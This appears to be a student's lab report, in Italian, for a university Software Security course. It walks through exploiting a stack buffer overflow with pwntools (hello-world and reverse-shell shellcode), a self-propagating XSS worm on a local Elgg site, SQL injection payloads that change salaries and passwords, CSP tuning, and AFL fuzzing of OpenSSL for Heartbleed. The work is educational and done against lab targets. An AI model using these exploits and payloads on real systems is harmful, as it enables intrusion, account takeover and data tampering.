UNIVERSITÀ DEGLI STUDI DI NAPOLI
FEDERICO II

Software Security

Laboratori

Anno Accademico 2023/2024

Professore

Prof. Roberto Natella

Studente

Marco Cimmino M63001528

Table of contents

Lab 1 – Buffer Overflow 1
Lab 2 – Web Security 8
Lab 3 – Fuzzing OpenSSL 17
Lab 4 – Static Analysis 23
Lab 5 – Cyber Threat Intelligence 30
Lab 6 – Basic Malware 35
Lab 7 – Windows Malware 51
Lab 8 –Malware Detection 58

Lab 1 – Buffer Overflow

"Pearls of Wisdom" è un'applicazione che consente agli utenti di visualizzare una raccolta di "saggezze", ed eventualmente aggiungerne una. Si basa su un menu di selezione che guida gli utenti attraverso le operazioni disponibili. Gli utenti possono scegliere di visualizzare l'elenco delle saggezze memorizzate, oppure di aggiungere nuove saggezze alla raccolta.

Sono presenti due versioni del programma, una versione a 64 bit e una a 32 bit per poterne studiare anche le differenze.

Challenge principale

• Attaccare il buffer overflow nella funzione "put_wisdom()" (versione 64 bit),

iniettare uno shellcode (es. hello world, oppure reverse shell).

Facendo una fase preliminare di analisi statica del codice notiamo l'uso della funzione **gets(),** che non effettua alcun controllo di lunghezza dell'input. Viene chiamata nella funzione "put_wisdom"

```
63    r = (int)gets(wis);
```

Viene utilizzata inoltre la funzione **strcpy()** per copiare la "wis" inserita all'interno del buffer di 1024 caratteri, dichiarato nel main.

Verifichiamo la presenza del Buffer Overflow andando a inviare una sequenza maggiore di lettere "A" rispetto alla dimensione.

```
unina@software-security:~/software-security/buffer-overflow/challenge$ ./wisdom-alt < payload
Hello there
1. Receive wisdom
2. Add wisdom
Selection >Enter some wisdom

Errore di segmentazione (core dump creato)
unina@software-security:~/software-security/buffer-overflow/challenge$
```

Il programma crasha dando errore di segmentazione.

Questa operazione è fatta tramite le seguenti linee di comando:

```
python3 -c 'import sys; sys.stdout.write("2\n" + "A"*1022)' > payload
./wisdom-alt < payload
```

In modo da poter raggiungere l'esatta dimensione del buffer. Mettere un numero maggiore di A sfonda il buffer e crea la segmentation fault.

In seguito, generiamo una **De Bruijn cyclic sequence,** ovvero una sequenza in cui ogni possibile stringa di lunghezza n, su un alfabeto A di dimensione k, si presenta esattamente una volta come sottostringa, tramite il comando:

cyclic -n 8 1100 > payload_cyclic

In seguito, uniamo i due payload in modo da avere una sequenza di "A" seguita da una sequenza ciclica. Otterremo un payload di questo tipo:

```
unina@software-security:~/software-security/buffer-overflow/challenge$ cat payload_cyclic
2
AAAA
```

Come indicato da Pwndbg l'indirizzo di rts: "0x7fffffffdb58" viene sovrascritto dalla substring: "ctaaaaaa". Un'altra informazione necessaria per poter costruire il payload d'attacco è quello della lunghezza di tale substring, necessaria a stabilire l'indirizzo da cui far iniziare il nostro shellcode, esso viene calcolato grazie al tool cyclic:

cyclic -n 8 -l < ctaaaaaa >

Che ci restituisce il valore 551. Nello stack avremo quindi una situazione del genere:

Payload per l'attacco – Versione Hello World

Generiamo il payload tramite il seguente script python:

```
from pwn import *
context.arch='amd64'
context.os='linux'

s_code = shellcraft.amd64.linux.echo('Hello world!!') + shellcraft.amd64.linux.exit()
s_code_asm = asm(s_code)

ret_addr = 0x7fffffffdb58 - 551
addr = p64(ret_addr, endian='little')

nop = asm('nop')

payload = b"2\n" + b"A"*1022

payload += nop*(551 - len(s_code_asm) - 64) + s_code_asm + nop*64 + addr
with open("./Helloworld_payload", "wb") as f:
        f.write(payload)
```

Dopo averlo eseguito verrà generato un payload "Helloworld_payload" da passare al programma.

L’attacco si conclude andando a buon fine:

```
pwndbg> run < Helloworld_payload
Starting program: /home/unina/software-security/buffer-overflow/challenge/wisdom-alt < Helloworld_payload
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hello there
1. Receive wisdom
2. Add wisdom
Selection >Enter some wisdom

Hello world!![Inferior 1 (process 5151) exited normally]
```

Payload per l’attacco – Versione Reverse Shell

Bisogna modificare il precedente script python, in particolare la linea di codice “s_code” nel seguente modo:

```
s_code = shellcraft.amd64.linux.connect('127.0.0.1', 9999) + shellcraft.amd64.linux.dupsh('rbp')
```

In questo modo il codice malevolo andrà ad aprire una connessione sull’indirizzo di localhost sul porto 9999. Come requisito in più in questa variante, c’è il fatto che, prima di lanciare l’attacco va aperto un listener di connessioni in arrivo. Tale listener viene aperto con netcat con il comando:

nc -lvnp 9999

Questo comando configura netcat per ascoltare le connessioni in entrata sulla porta 9999, in modalità verbose, fornendo un output dettagliato delle attività di rete.

L’attacco si conclude andando a buon fine:

```
unina@software-security: ~
unina@software-security:~$ nc -lvnp 9999
Listening on 0.0.0.0 9999
Connection received on 127.0.0.1 60320
ls
Helloworld.py
Helloworld_payload
Makefile
README.md
Reverse_shell.py
Reverseshell_payload
payload
payload_cyclic
wisdom-alt
wisdom-alt-32
wisdom-alt.c
```

```
unina@software-security: ~/software-security/buffer-overflow/cha...
pwndbg> run < Reverseshell_payload
Starting program: /home/unina/software-security/buffer-overflow/challenge/wisdom-alt
< Reverseshell_payload
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hello there
1. Receive wisdom
2. Add wisdom
Selection >Enter some wisdom

process 5438 is executing new program: /usr/bin/dash
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Attaching after Thread 0x7ffff7d7b740 (LWP 5438) vfork to child process 5441]
[New inferior 2 (process 5441)]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching vfork parent process 5438 after child exec]
[Inferior 1 (process 5438) detached]
process 5441 is executing new program: /usr/bin/ls
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Inferior 2 (process 5441) exited normally]
pwndbg>
```

Challenge Extra

- **Attaccare di nuovo la vulnerabilità, fare eseguire la funzione "write_secret()".**

Come scritto nei suggerimenti, per chiamare la funzione "write_secret", è necessario trovare l'indirizzo della funzione in memoria. Tale indirizzo viene trovato grazie a GDB, utilizzando un breakpoint all'inizio del programma. Stampiamo l'indirizzo di write_secret con il comando: **print write_secret**

```
pwndbg> print write_secret
$1 = {void (void)} 0x555555555229 <write_secret>
pwndbg>
```

A questo punto basta sostituire l'indirizzo di ritorno "Ret_addr" con l'indirizzo appena trovato, e lasciare nel resto del payload una serie di NOP:

payload = "Riempimento" + nop*(551) + addr

```
pwndbg> run < WriteSecretcode_payload
Starting program: /home/unina/software-security/buffer-overflow/challenge/wisdom
-alt < WriteSecretcode_payload
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hello there
1. Receive wisdom
2. Add wisdom
Selection >Enter some wisdom

secret key
Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe000 in ?? ()
```

- **Attaccare "put_wisdom()" nella versione a 32 bit.**

Al fine di poter attaccare il programma nella sua versione a 32 bit, ci sono da considerare due sostanziali differenze tra le versioni:

1. In x86-32, gli indirizzi sono di 4 bytes invece che 8.

2. Per trovare l'offset, bisogna tener conto che il comportamento della istruzione RET in x86-32 è diverso, la RET causa una eccezione DOPO aver fatto il pop andando quindi a rimuovere l'indirizzo dalla cima dello stack e poi inserendo l'indirizzo in EIP.

Il procedimento rimane per lo più lo stesso. La differenza principale è la creazione della stringa ciclica, questa volta di lunghezza k = 4byte e non più 8:

cyclic -n 4 1100 > payload_cyclic

```
unina@software-security: ~/software-security/buffer-overflow/ch...
unina@software-security: ~/software-secu...   unina@software-security: ~/software-secu...
Starting program: /home/unina/software-security/buffer-overflow/challenge/wisdom-alt
-32 < payload_cyclic32
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Hello there
1. Receive wisdom
2. Add wisdom
Selection >Enter some wisdom


Program received signal SIGSEGV, Segmentation fault.
0x61616a66 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────
*EAX  0x1
*EBX  0x61616766 ('fgaa')
*ECX  0x56557008 ◂— 0xa /* '\n' */
*EDX  0x1
*EDI  0x61616866 ('fhaa')
*ESI  0xffffd214 —▸ 0xffffd3b0 ◂— '/home/unina/software-security/buffer-overflow/cha
llenge/wisdom-alt-32'
*EBP  0x61616966 ('fiaa')
*ESP  0xffffcd20 ◂— 0x61616b66 ('fkaa')
*EIP  0x61616a66 ('fjaa')
──────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────
Invalid address 0x61616a66
```

Come sottolineato nelle differenze, adesso l'indirizzo di rts viene salvato in EIP: **"0xffffcd20"** e viene sovrascritto dalla substring: "**fjaa**". Allo stesso modo di prima è quindi possibile trovare la lunghezza dello stack, grazie al tool cyclic, pari a **535.**

La generazione del payload d'attacco è analoga alla versione a 64 bit, sia per la versione Hello_world sia per la Reverse_shell. Ci sono solo tre piccole modifiche al codice precedente per adattarlo alla versione a 32 bit. Le elenchiamo qui sotto:

- Context.arch ='i386'
- Ret_addr = 0xffffcd20 – 535
- Addr = p32(Ret_addr, edian = 'little')

- **Attaccare il buffer overflow nell'array globale "ptrs" (versione 32 bit), fare eseguire la funzione "pat_on_back()".**

Un'altra vulnerabilità è legata all'array globale "ptrs", utilizzando un apposito valore numerico si può fare in modo che esso, anziché accedere agli indirizzi delle funzioni contenuti al suo interno, vada ad accedere ad un diverso indirizzo eseguendo un'altra funzione. Ciò è possibile perché la sintassi in C array[i] equivale a "array + i*sizeof(array[0])". Tale sintassi è presente nel main, dopo la lettura dell'input dell'utente, in cui il valore preso in input viene convertito in un valore numerico intero tramite la funzione "atoi" e lo va ad utilizzare come indice per l'array "ptrs". Al fine di trovare il giusto valore numerico si utilizza ancora una volta GBD e si va porre un breakpoint in presenza della read (riga 100). Eseguendo il programma con run, esso si stopperà in presenza del breakpoint e in tale punto è possibile stampare i valori dei puntatori.

```
In file: /home/unina/software-security/buffer-overflow/challenge/wisdom-alt.c
    95        fptr p = pat_on_back;
    96        r = write(outfd, greeting, sizeof(greeting)-sizeof(char));
    97        if(r < 0) {
    98          break;
    99        }
 ► 100        r = read(infd, buf, sizeof(buf)-sizeof(char));
   101        if(r > 0) {
   102          buf[r] = '\0';
   103          int s = atoi(buf);
   104          fptr tmp = ptrs[s];
   105          tmp();
                                                    [ STACK ]
00:0000│ esp 0xffffcd10 ◄— 0x0
... ↓        7 skipped
                                                    [ BACKTRACE ]
 ► 0 0x565564d3 main+108
   1 0xf7d96519 __libc_start_call_main+121
   2 0xf7d965f3 __libc_start_main+147
   3 0x5655610b _start+43

pwndbg> print ptrs
$1 = {0x0, 0x56556275 <get_wisdom>, 0x56556344 <put_wisdom>}
pwndbg> print &ptrs
$2 = (fptr (*)[3]) 0x56559094 <ptrs>
pwndbg> print p
$3 = (fptr) 0x56556241 <pat_on_back>
pwndbg> print &p
$4 = (fptr *) 0xffffd11c
pwndbg>
```

Per poter far puntare ptrs alla funzione pat_on_back l'idea è quella di calcolare la distanza tra i due e convertire poi tale valore in decimale, quindi nel seguente modo:

PTRS = 0x56559094

P = 0xffffd11c

P − PTRS = a9aa4088/4 = 2a6a9022= 711626786

```
Hello there
1. Receive wisdom
2. Add wisdom
Selection >711626786
Achievement unlocked!
```

Lab 2 – Web Security

Challenge extra 1

- **CSRF**

Il Cross-Site Request Forgery (CSRF) è un attacco informatico in cui un aggressore sfrutta l'autenticazione di un utente in un'applicazione web per far eseguire azioni non autorizzate a loro insaputa. Questo avviene inviando richieste HTTP maligne dal browser dell'utente verso l'applicazione target, sfruttando la fiducia che l'applicazione mantiene nei confronti dell'utente. Il tutto sfrutta il meccanismo dei cookies. Al fine di mitigare questa tipologia di attacchi, esistono quelli che sono i SameSite cookies, che stabiliscono delle regole su come i cookie devono essere inviati assieme alle richieste di un'applicazione web. Di questi, esistono tre tipologie:

• Cookie-Strict: Con l'attributo SameSite impostato su "Strict", i cookie non verranno inviati con le richieste cross-site, garantendo la massima sicurezza.

• Cookie-Lax: Con l'attributo SameSite impostato su "Lax", i cookie verranno inviati con le richieste cross-site generate da click diretti degli utenti mentre non verranno inviati con richieste cross-site generate da altre azioni, come richieste di immagini o iframe. Questa impostazione offre un buon compromesso tra sicurezza e usabilità. Fornisce quindi la sicurezza che le richieste dell'utente siano effettuate in modo consapevole, seppur non forniscono la sicurezza che una determinata GET sia di tipo Cross-Site o Same-Site, in quanto in entrambi i casi verrebbero inviati. Per le richieste POST invece, forniscono la sicurezza che le richieste siano tipo Same-Site.

• Cookie-Normal: Con l'attributo SameSite impostato su "None", i cookie verranno inviati con il comportamento predefinito dei cookie, ovvero con tutte le richieste cross-site, indipendentemente dall'origine o dall'azione dell'utente. Non forniscono alcuna sicurezza.

Per poter capire in modo efficace il funzionamento di queste tipologie, si effettuano gli esperimenti forniti dal laboratorio. Verranno effettuate tre richieste:

- GET tramite link
- GET tramite form di dati
- POST tramite form di dati

In due diversi contesti, uno **sameSite** e uno **cross-Site**

Caso SameSite: Avremo che tutte e tre le tipologie di cookie verranno correttamente inviate in tutte e tre le tipologie di richiesta.

Caso cross-Site:

I Cookie-normal, seguendo le definizioni elencate prima, ci aspettiamo che vengano inviati in tutte e tre le richieste.

I Cookie-lax verranno inviati nelle due richieste GET ma non nelle POST, questo perché c'è una maggiore sensibilità e rischio associato alle richieste POST, che fa in modo, quindi, che le richieste di tipo POST seppur scaturite consapevolmente dall'utente non siano considerate richieste di tipo "top-level" e quindi non permettono.

Per quanto riguarda i Cookie-strict non verranno inviati in nessun caso dal momento che parliamo di richieste cross-site.

Richieste GET:

Richiesta POST:

Challenge principale: Cross-Site Scripting XSS

- Inserire la frase "SAMY IS MY HERO" nel profilo di altre persone senza il loro consenso.

Come frase preliminare si è effettuato un login nel profilo di SAMY e si è svolta una modifica del profilo, al fine di intercettare la richiesta http che parte e notare come essa viene costruita. La richiesta è una richiesta di tipo POST che viene effettuata attraverso il link "/action/profile/edit".

I dati che vengono trasmessi sono i valori di tutti i campi del profilo, con l'aggiunta di valori di sicurezza che servono ad evitare il CSRF

```
1   -----------------------------151708501196325127528002620 09
2   Content-Disposition: form-data; name="__elgg_token"
3
4   O1dYUx271JsZxMrQaOBkMQ
5   -----------------------------151708501196325127528002620 09
6   Content-Disposition: form-data; name="__elgg_ts"
7
8   1712579065
9   -----------------------------151708501196325127528002620 09
10  Content-Disposition: form-data; name="name"
11
12  Samy
13  -----------------------------151708501196325127528002620 09
14  Content-Disposition: form-data; name="description"
15
```

È possibile quindi capire che per costruire un corretto payload è necessario inserire tali valori di sicurezza, più il giusto guid dell'utente, altrimenti il sito web potrebbe rifiutare la richiesta in mancanza di tali valori. Si è quindi costruito il seguente payload:

```
1 <script type="text/javascript">
2 window.onload = function(){
3   var guid  = "&guid=" + elgg.session.user.guid;
4   var ts    = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
5   var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
6   var name  = "&name=" + elgg.session.user.name;
7
8
9   var sendurl = "/action/profile/edit";
10  var content = guid+ts+token+"&description= SAMY IS MY HERO";
11  var samyGuid = 59;
12
13  if (elgg.session.user.guid != samyGuid){
14
15    var Ajax=null;
16    Ajax = new XMLHttpRequest();
17    Ajax.open("POST",sendurl,true);
18    Ajax.setRequestHeader("Content-Type",
19                          "application/x-www-form-urlencoded");
20    Ajax.send(content);
21  }
22 }
23 </script>
```

Al fine di evitare che lo script venga eseguito sul profilo stesso di samy, eliminando da solo il payload stesso, è presente un if che compara il guid dell'utente con quello di samy. Il guid di samy è stato trovato in seguito alla richiesta intercettata precedentemente.

Nel momento in cui si va a visitare la bacheca di Samy, da dietro le quinte verrà eseguito lo script malevolo inserito, facendo partire la richiesta POST sul profilo stesso di alice con Iniziator: "samy". Il profilo di alice viene correttamente modificato:

Challenge Extra 2

- Fare in modo che l'attacco XSS si auto-propaghi (worm).

Per fare in modo che l'attacco si auto-propaghi, il worm oltre a modificare il profilo deve inserire una copia di sé stesso così che le persone che finiranno su una bacheca colpita dallo script, inseriranno una copia dello script nella propria, colpendo le persone che visiteranno la propria bacheca. È stato modificato il codice nel seguente modo:

```
1 <script id="worm">
2 window.onload = function() {
3   var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
4   var jsCode = document.getElementById("worm").innerHTML;
5   var tailTag = "</" + "script>";
6   var guid  = "&guid=" + elgg.session.user.guid;
7   var ts    = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
8   var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
9   var name  = "&name=" + elgg.session.user.name;
10
11  var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
12  var desc = "&description=Samy is my hero" + wormCode;
13  desc += "&accesslevel[description]=2";
14
15  var sendurl = "/action/profile/edit";
16  var content = guid+ts+token+"&description= SAMY IS MY HERO";
17  var samyGuid = 59;
18
19  if (elgg.session.user.guid != samyGuid){
20
21    var Ajax=null;
22    Ajax = new XMLHttpRequest();
23    Ajax.open("POST",sendurl,true);
24    Ajax.setRequestHeader("Content-Type",
25                          "application/x-www-form-urlencoded");
26    Ajax.send(content);
27  }
28 }
29 </script>
```

1. Inserimento di un id="worm" allo script, così da renderlo identificabile.

2. Inserimento delle variabili headerTag,jsCode e tail tag. Dove headerTag e tailTag sono necessari a chiudere il tag dello script copiato, mentre jsCode serve a prelevare l'intero codice con l'id e ricopiarlo.

Challenge Extra 3

- Visitare i siti web example32a.com, example32b.com, example32c.com distribuiti localmente dal laboratorio Ogni pagina mostra 6 aree e il codice JS cerca di scrivere "OK" in esse. Se viene visualizzato "Failed", il CSP ha bloccato il JS. Modificare la configurazione del server in modo che tutte le aree visualizzino "OK".

Nel file di configurazione “apache_csp-conf” notiamo tre blocchi:

• Il primo blocco: definisce un server virtuale per il dominio www.example32a.com e non ha impostato nessuna politica CSP.

• Il secondo blocco: definisce un server virtuale per il dominio www.example32b.com e utilizza la direttiva Header set Content- Security-Policy per definire le politiche CSP.

• Il terzo blocco: definisce un server virtuale per il dominio www.example32c.com questo server ospita un’applicazione web scritta in PHP (DirectoryIndex phpindex.php). Le politiche CSP in questo caso sono gestite dall’applicazione web stessa.

apache_csp.conf

```
# Purpose: Do not set CSP policies
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32a.com
    DirectoryIndex index.html
</VirtualHost>

# Purpose: Setting CSP policies in Apache configuration
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32b.com
    DirectoryIndex index.html
    Header set Content-Security-Policy " \
             default-src 'self'; \
             script-src 'self' *.example70.com \
            "
</VirtualHost>

# Purpose: Setting CSP policies in web applications
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32c.com
    DirectoryIndex phpindex.php
</VirtualHost>

# Purpose: hosting Javascript files
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example60.com
</VirtualHost>

# Purpose: hosting Javascript files
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example70.com
</VirtualHost>
```

Situazione di partenza:

Aggiungiamo le seguenti linee nel blocco due:

```
script-src 'self' *.example60.com \
script-src 'self' 'nonce-111-111-111' *.example70.com \
script-src 'self' 'nonce-222-222-222' *.example70.com \
```

E nel blocco tre:

```
                "script-src 'self' *.example60.com *.example70.com
'nonce-111-111-111' 'nonce-222-222-222'".
```

In modo da risolvere i punti 1,2 e 5. Manca solo il punto 3

Per permettere l'esecuzione senza nonce e l'esecuzione degli script con il bottone non sono presenti impostazioni specifiche e l'unica soluzione è l'inserimento dell'header 'unsafe-inline'. L'aggiunta di tale risolve anche le aree 1 e 2, rendendo i due header aggiunti in precedenza superflui. In definitiva i file di configurazione sono i seguenti.

```
script-src 'self' 'unsafe-inline' *.example70.com \
script-src 'self' 'unsafe-inline' *.example60.com \
```

e

```
                "script-src 'self' *.example60.com *.example70.com 'unsafe-
inline' ".
```

Ottenendo la seguente situazione:

Challenge Principale: Modify table

- Effettuare il login come Alice (pass:seedalice), e aumentare il proprio stipendio. Punite il vostro capo Boby, riducendo il suo stipendio a 1 dollaro. Cambiate la password di Boby con qualcosa che conoscete, e poi accedere al suo account

Come primo passo preliminare per eseguire una SQL injection, è necessario individuare un campo di input in cui i valori vengano utilizzati come parametri della query. Analizziamo lo script del backend:

```
43  $conn = getDB();
44  // Don't do this, this is not safe against SQL injection attack
45  $sql="";
46  if($input_pwd!=''){
47    // In case password field is not empty.
48    $hashed_pwd = sha1($input_pwd);
49    //Update the password stored in the session.
50    $_SESSION['pwd']=$hashed_pwd;
51    $sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";
52  }else{
53    // if passowrd field is empty.
54    $sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
55  }
56  $conn->query($sql);
57  $conn->close();
58  header("Location: unsafe_home.php");
59  exit();
60  ?>
61
62 </body>
63 </html>
```

Nello script si può notare che ogni valore di input viene utilizzato come parametro della query, rendendo ogni campo di questo form vulnerabile alla SQL Injection.

- **Aumento del proprio stipendio**

Per modificare il proprio salario, è indispensabile conoscere il nome del campo nel database che si intende attaccare. Tale informazione si può ottenere dalla pagina di profilo principale, in cui si può notare come il nome sia: **Salary.**

Il payload di attacco nel campo Nickname può essere quindi il seguente:

Alice', Salary='50000' WHERE name='Alice'; #

• Alice': Questa parte del payload chiude la stringa SQL che rappresenta il nickname nel comando UPDATE.

• Salary='50000': Imposta il valore del campo Salary nel database a '50000'.

• WHERE name='Alice': Specifica la condizione in cui vogliamo aggiornare il record dove il nome è 'Alice'.

• #: Questo simbolo è un commento in SQL e viene utilizzato per ignorare tutto ciò che segue sulla stessa linea. Nel contesto di un'iniezione SQL, può essere usato per evitare che il resto della query originale venga eseguito, il che può essere utile se ci sono vincoli aggiuntivi nella query originale che causerebbero un errore.

- **Riduzione dello stipendio di Boby ad 1**

Allo stesso modo di prima, si può creare un payload diverso che va a cambiare il valore di Salary e la condizione di verifica, impostando il nome a Boby. Il payload diventa quindi il seguente:

Alice', Salary='1' WHERE name='Boby'; #

Information returned from the database

- ID: **2**
- Name: **Boby**
- EID: **20000**
- Salary: **1**
- Social Security Number: **10213352**

- **Cambio della password di boby**

Anche per il cambio della password, si può creare un payload molto simile dove adesso ciò che si va a modificare è il campo password anziché il campo salary. Come suggerito sulle slide però, il database salva il valore di hash SHA1 delle password al posto della stringa di password in chiaro e c'è quindi la necessità di utilizzare la funzione sha1() nella nostra query. Il payload è quindi il seguente

Alice', password=sha1(2) WHERE name='Boby'; #

Boby Profile

Key	Value
Employee ID	20000
Salary	1
Birth	4/20
SSN	10213352
NickName	Alice

Il risultato della query si può controllare andando ad effettuare l'accesso e come si può correttamente notare, la password viene cambiata e mostrata nel link della pagina.

www.seedlabsqlinjection.com/unsafe_home.php?username=Boby&Password=2

Challenge Extra 4

- Modifica la web app al fine di renderla robusta ad attacchi di SQL Injection con il meccanismo dei prepared statement. Il file da modificare è unsafe.php memorizzato in image_www/Code/defense.

Il codice in questione espone la web application a rischi di SQL injection, poiché la query SQL viene costruita concatenando direttamente i valori di input ($input_uname e $hashed_pwd) senza alcuna sanitizzazione o l'uso di prepared statements. Inoltre, presenta diverse altre vulnerabilità, tra cui:

• Utilizzo di un algoritmo di hashing debole: L'algoritmo SHA-1 è considerato deprecato e poco sicuro.

• Trasmissione non sicura: I parametri GET sono utilizzati per passare la username e la password attraverso l'URL e possono essere facilmente intercettati.

• Implementazione debole dell'autenticazione lato server: Il codice non presenta l'implementazione di controlli di sicurezza aggiuntivi come limiti di tentativi di accesso, blocco dell'account dopo un numero eccessivo di tentativi falliti, ecc.

Introduciamo quindi l'uso dei prepared statements:

```
$result = $conn->query("SELECT id, name, eid, salary, ssn
                        FROM credential
                        WHERE name= ? and Password= ?");

$stmt->bind_param("ss",$input_uname,$hashed_pwd);
$stmt->execute();

$stmt->bind_result($id,$name,$eid,$salary,$ssn);
$stmt->fetch();

$stmt->close();
$conn->close();
?>
```

In questo codice, a differenza del caso non sicuro, dopo aver stabilito la connessione e ottenuto i parametri tramite GET, la query SQL è costruita utilizzando dei parametri (?) al posto dei valori effettivi e viene preparata per l'esecuzione. Ciò significa che il database analizza e ottimizza la query in anticipo e solo successivamente i valori dei parametri vengono associati allo statement preparato. Protegge quindi dal SQL injection, in quanto, i valori dei parametri non vengono concatenati direttamente nella query SQL, ma vengono inviati separatamente, impedendo così l'iniezione di codice malevolo. Infine: I risultati della query vengono associati alle variabili specificate utilizzando il metodo bind_result() e invece, utilizzando il metodo fetch(), vengono recuperati i dati dalla query eseguita. Questo approccio non solo fornisce sicurezza ma ottimizza anche la query in anticipo.

Lab 3 – Fuzzing OpenSSL

OpenSSL è una libreria ampiamente utilizzata per implementare i protocolli di sicurezza TLS (Transport Layer Security) e SSL (Secure Socket Layer), che sono essenziali per garantire la crittografia dei dati durante le comunicazioni su Internet. Nel 2014 è stata scoperta una vulnerabilità nel componente chiamato Heartbeat Extension, che è parte di OpenSSL. La vulnerabilità Heartbleed consentiva a un attaccante di accedere alla memoria del server vulnerabile e recuperare informazioni sensibili, come chiavi private SSL, informazioni di autenticazione degli utenti e altro ancora, senza lasciare tracce. Lo scopo dell'esercizio è quello di identificare la vulnerabilità utilizzando AFL con ASAN.

Challenge principale:

• Eseguire il fuzzing di OpenSSL con AFL e Address Sanitizer (ASAN)

Come prima cosa compilare la libreria OpenSSL, abilitando ASAN, necessario per il rilevamento degli errori di memoria e utilizzato principalmente per individuare bug di sicurezza e vulnerabilità.

```
unina@software-security:~/software-security/fuzzing/heartbleed/openssl$ CC=afl-c
lang-fast CXX=afl-clang-fast++ ./config -d -g -no-shared
Operating system: x86_64-whatever-linux2
Configuring for debug-linux-x86_64
Configuring for debug-linux-x86_64
```

```
unina@software-security:~/software-security/fuzzing/heartbleed/openssl$ AFL_USE_
ASAN=1 make build_libs
making all in crypto...
```

E modificare correttamente il codice di handshake.cc in modo da leggere 100byte da standard input. Di seguito è riportato il codice corretto:

```
int main() {
  static SSL_CTX *sctx = Init();
  SSL *server = SSL_new(sctx);
  BIO *sinbio = BIO_new(BIO_s_mem());
  BIO *soutbio = BIO_new(BIO_s_mem());
  SSL_set_bio(server, sinbio, soutbio);
  SSL_set_accept_state(server);

  char data[100];
  read(0, data, 100);
  BIO_write(sinbio, data, 100);


  SSL_do_handshake(server);
  SSL_free(server);
  return 0;
}
```

In seguito, va compilato utilizzando AFL e abilitando ASAN:

```
unina@software-security:~/software-security/fuzzing/heartbleed$ AFL_USE_ASAN=1 a
fl-clang-fast++ handshake.cc -o handshake openssl/libssl.a openssl/libcrypto.a -
I openssl/include/ -ldl
afl-cc++4.00c by Michal Zalewski, Laszlo Szekeres, Marc Heuse - mode: LLVM-PCGUA
RD
SanitizerCoveragePCGUARD++4.00c
[+] Instrumented 10 locations with no collisions (non-hardened, ASAN mode) of wh
ich are 0 handled and 0 unhandled selects.
```

Bisogna ora creare un file di testo .txt, che verrà utilizzato come seed da AFL.

Infine, bisogna disabilitare il core dump notification:

```
unina@software-security:~/software-security/fuzzing/heartbleed$ sudo bash -c 'ec
ho core >/proc/sys/kernel/core_pattern'
[sudo] password di unina:
```

Concluse queste fasi preliminari si è potuto procedere all'avvio di afl-fuzz e nella generazione del crash.

```
unina@software-security:~/software-security/fuzzing/heartbleed$ afl-fuzz -i inpu
t/ -o output/ -m none  -- ./handshake
```

Questo è il risultato dopo dieci minuti: 147 crash

```
unina@software-security: ~/software-security/fuzzing/heartbleed

        american fuzzy lop ++4.00c {default} (./handshake) [fast]
┌─ process timing ──────────────────────────────────────┬─ overall results ─────┐
│        run time : 0 days, 0 hrs, 10 min, 0 sec        │  cycles done : 2      │
│   last new find : 0 days, 0 hrs, 1 min, 18 sec        │ corpus count : 42     │
│last saved crash : 0 days, 0 hrs, 5 min, 15 sec        │saved crashes : 1      │
│ last saved hang : none seen yet                       │  saved hangs : 0      │
├─ cycle progress ────────────────────┬─ map coverage ─┴───────────────────────┤
│  now processing : 7.2 (16.7%)       │    map density : 4.70% / 5.08%         │
│  runs timed out : 0 (0.00%)         │ count coverage : 1.26 bits/tuple       │
├─ stage progress ────────────────────┼─ findings in depth ────────────────────┤
│  now trying : splice 8              │ favored items : 24 (57.14%)            │
│ stage execs : 25/73 (34.25%)        │  new edges on : 27 (64.29%)            │
│ total execs : 134k                  │ total crashes : 147 (1 saved)          │
│  exec speed : 252.8/sec             │  total tmouts : 2 (2 saved)            │
├─ fuzzing strategy yields ───────────┴───────────────┬─ item geometry ───────┤
│   bit flips : disabled (default, enable with -D)    │    levels : 11        │
│  byte flips : disabled (default, enable with -D)    │   pending : 15        │
│ arithmetics : disabled (default, enable with -D)    │  pend fav : 0         │
│  known ints : disabled (default, enable with -D)    │ own finds : 41        │
│  dictionary : n/a                                   │  imported : 0         │
│havoc/splice : 24/76.8k, 18/57.1k                    │ stability : 100.00%   │
│py/custom/rq : unused, unused, unused, unused        ├───────────────────────┘
│    trim/eff : 30.15%/50, disabled                   │          [cpu000: 33%]
```

- **Diagnostica del Bug – ASAN**

Grazie al file salvato generato da AFL, è possibile eseguire nuovamente il programma passandogli tale file in ingresso (l'unico salvato), generando il crash.

- **Che tipo di errore è stato rilevato?**

Come mostrato da ASAN. È un errore di tipo heap – Buffer Overflow

```
==147477==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x629000009748 at pc 0x00000049c767 bp 0x7ffc41d4c930 sp
 0x7ffc41d4c0f8
```

- **Qual è il punto nel codice di OpenSSL che causa l'errore?**

